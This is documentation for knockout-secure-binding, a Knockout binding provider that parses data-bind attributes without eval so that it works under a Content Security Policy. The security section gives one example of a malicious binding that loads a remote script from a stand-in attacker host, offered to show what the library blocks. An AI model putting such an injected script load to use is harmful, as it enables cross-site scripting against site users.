DataBind Parser
DataBind Parser
Section titled “DataBind Parser”tko.provider is a binding provider for Knockout, namely it parses HTML attributes and converts them to handlers of bidirectional updates.
tko.provider can be used with a Content Security Policy.
This provider differs from Knockout’s 3.X and prior default binder, which uses new Function to parse bindings, as discussed in knockout/knockout#903.
For more information, see the blog post about knockout-secure-binding.
Getting started
Section titled “Getting started”Installing
Section titled “Installing”You can get KSB from bower with:
bower install knockout-secure-bindingUsing npm with:
npm install knockout-secure-bindingSave this to their respective settings with --save-dev or --save.
Using (script)
Section titled “Using (script)”Then include it in your project with a script tag and a property secureBindingsProvider will be added to the ko object. I.e.
<script src='knockout-secure-binding.js'></script>KSB is a near drop-in replacement for the standard Knockout binding provider when provided the following options:
var options = { attribute: "data-bind", // default "data-sbind" globals: window, // default {} bindings: ko.bindingHandlers, // default ko.bindingHandlers noVirtualElements: false // default true};ko.bindingProvider.instance = new ko.secureBindingsProvider(options);Having called the above, when you run ko.applyBindings the knockout bindings will be parsed by KSB and the respective bindings’ valueAccessors will be KSB instead of Knockout’s own binding engine (which at its core uses the new Function, which is barred by CSP’s eval policy).
When the attribute option is not provided the default binding for KSB is data-sbind. You can see more options below. By default KSB the globals object for KSB is an empty object. The options are described in more detail below.
Using (AMD Loader)
Section titled “Using (AMD Loader)”If you are using an AMD loader, then KSB is exported, and you should be able to load it like this:
require(["knockout", "knockout-secure-binding"], function (ko, ksb) { // Show all options, more restricted setup than the Knockout regular binding. var options = { attribute: "data-sbind", // ignore legacy data-bind values globals: {}, // no globals bindings: ko.bindingHandlers, // still use default binding handlers noVirtualElements: true // no virtual elements };
ko.bindingProvider.instance = new ksb(options); /* ... */});Have a look at the example in knockout-classBindingProvider) for more info.
The sbind language
Section titled “The sbind language”The language used in KSB in bindings is a superset of JSON but a subset of Javascript. I will call it the sbind language, for convenience.
Sbind language is closer to JSON than Javascript, so it’s easier to describe its differences by comparing it to JSON. The sbind language differs from JSON in that:
- it understands the
undefinedkeyword; - it looks up variables on
$dataor$contextorglobals(in that order); - functions can be called (but do not accept arguments);
- top-level functions are called with
thisset to an object with the following keys:$data,$context,globals,$element, corresponding to the state for the respective element bound. † - a subset of Javascript expressions are available (see below);
- observables that are part of expressions are automatically unwrapped for convenience.
† Note that this is a deviation from the ordinary Knockout behavior, where
this would be window (unless the function is otherwise bound).
KSB provider uses Knockout’s built-in bindings, so text, foreach, and all the others should work as expected. It also works with virtual elements.
This means that the following ought to work as expected:
<span data-bind='text: 42'></span><span data-bind='text: obs'></span><span data-bind='text: obs()'></span><span data-bind='text: obs_a() || obs_b()'></span>
<!-- The following are unwrapped because they are part of an expression--><span data-bind='text: obs_a || obs_b'></span>
<span data-bind='text: 1 + 2 / (obs % 4)'></span><span data-bind='css: { class_name: obs_a <= 400 }'></span><a data-bind='click: fn, attr: { href: obs }'></a>The sbind language understands both compound identifiers (e.g. obs()[1].member() and expressions (e.g. a + b * c)). A full list of operators supported is below. Check out the spec/knockout_secure_binding_spec.js for a more thorough list of expressions that work as expected.
There are some restrictions on the sbind language. These include:
- it will not dereference static objects so the following will not work:
{ a: 1 }[obs()]. - functions do not accept arguments.
Security implications
Section titled “Security implications”As mentioned, one cannot use the default Knockout binding provider when a
Content Security Policy prohibits unsafe evaluations (eval,
new Function, setTimeout(string), setInterval(string)).
Prohibiting unsafe evaluations with a Content Security Policy substantially substantially reduces the risk of a cross-site scripting attack. See for example Preventing XSS with Content Security Policy.
By using KSB in place of the regular binding provider one can continue to use Knockout in an environment with a Content Security Policy. This includes for example Chrome web apps.
Independent of a Content Security Policy, KSB can help prevent the execution of arbitrary code in a Knockout binding. A malicious script such as
text: $.getScript('http://a.bad.place.example.com/a.bad.bad.thing') could be executed in Knockout on a DOM element that is having bindings applied. However with CSP and KSB you can prevent this script from executing by/because:
- Not including
$as a global; - Functions in KSB do not accept arguments;
- You can use a CSP white-list, which prevents accessing the (presumably unknown) host
a.bad.place.
Options
Section titled “Options”The ko.secureBindingsProvider constructor accepts one argument,
an object that may contain the following options:
| Option | Default | Description |
|---|---|---|
| attribute | data-sbind | The binding value on attributes |
| globals | {} | Where variables are looked up if not on $context or $data |
| bindings | ko.bindingHandlers | The bindings KO will use with KSB |
| noVirtualElements | false | Set to true to disable virtual element binding |
For example, ko.secureBindingsProvider({ globals: { "$": jQuery }}).
Expressions
Section titled “Expressions”KSB supports some Javascript operations, namely:
| Type | Operators |
|---|---|
| Negation | ! !! |
| Multiplication | * / % |
| Addition | + - |
| Comparison | < <= > >= |
| Equality | == != === !== |
| Logic | && || |
| Bitwise | & ^ | |
Notes:
-
Observables in expressions are unwrapped as a convenience so
text: a > bwill unwrap bothaandbif they are observables. It will not unwrap for membership i.e.a.propertywill return thepropertyof the observable (a.property), not the property of the observable’s unwrapped value (ko.unwrap(a).property). If the variable referred to is not part of an expression (e.g.text: a) then the variable will not be unwrapped before being passed to a binding. This is the expected behavior. -
While negation and double-negation are supported, trible negation (
!!!) will not work as expected. -
When you use equality operators in sbind (
==and!=), the operation performed will be their non-evil twins (===and!==). The following are exactly the same:data-sbind: x == yanddata-sbind: x === y. As Douglas Crockford puts it, in Javascript: The Good Parts: “My advice is to never use the evil twins.”
You can run a standalone server with npm test. It will
print the URL for the server to the console. You can connect
to it with any browser and the tests will be executed.
Automated tests with chromedriver can be initiated with
npm start.
You will need to independently start chromedriver with
chromedriver --url-base=/wd/hub --port=4445.
- Compile with
gulp. - Run a test server with
./node_modules/karma/bin/karma start. - Run tests with
npm test
Make sure you have installed gulp with npm install -g gulp.
Requires
Section titled “Requires”Knockout 2.0+
KSB may use ES5 functions, including (but perhaps not limited to):
Object.definePropertyObject.keysString.trim
Performance
Section titled “Performance”KSB seems to be comparable in performance to Knockout’s regular bindings. Here is a jsPerf example, which seems to indicate KSB is around 7–10% slower, with a margin of error of ±10%.
I would expect the KSB parser to be slower than the native Javascript parser, even though it does less. The expressions and identifiers looked up in KSB have a proportionately higher number of function calls per expression and dereference.
So one would expect KSB to be slower than the native bindings. That said, the portion of Knockout that KSB sits in is not a big bottleneck for performance. Individual bindings and especially their respective DOM operations seem to be a much greater concern.
How it works
Section titled “How it works”KSB runs a one-pass parser on the bindings’ text and generates an array of identifier dereferences and a lazily generated syntax tree of expressions.
The identifier dereferences for something like <span data-bind='x: a.b["c"]()'></span> will look like (or convert into) this:
[ function (x) { return x['b'] }, function (x) { return x['c'] }, function (x) { return x() },]When (if) the x binding calls its valueAccessor argument the identifier will be returned as the root value (a, presumably an object) then each of the dereference functions.
The expression tree is straightforward and for something like 1 + 4 - 8 it looks like this:
1 4 \ / (+) 8 \ / (-)All to say, there is no real magic (or dragons) here.